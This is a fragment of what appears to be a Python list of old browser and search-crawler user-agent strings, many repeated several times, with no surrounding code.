'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
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'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
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'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
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'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
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'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
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'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
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'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
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'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
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'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
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'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
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'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
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'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
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'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
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'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
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'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
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'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
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'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
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'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
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'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
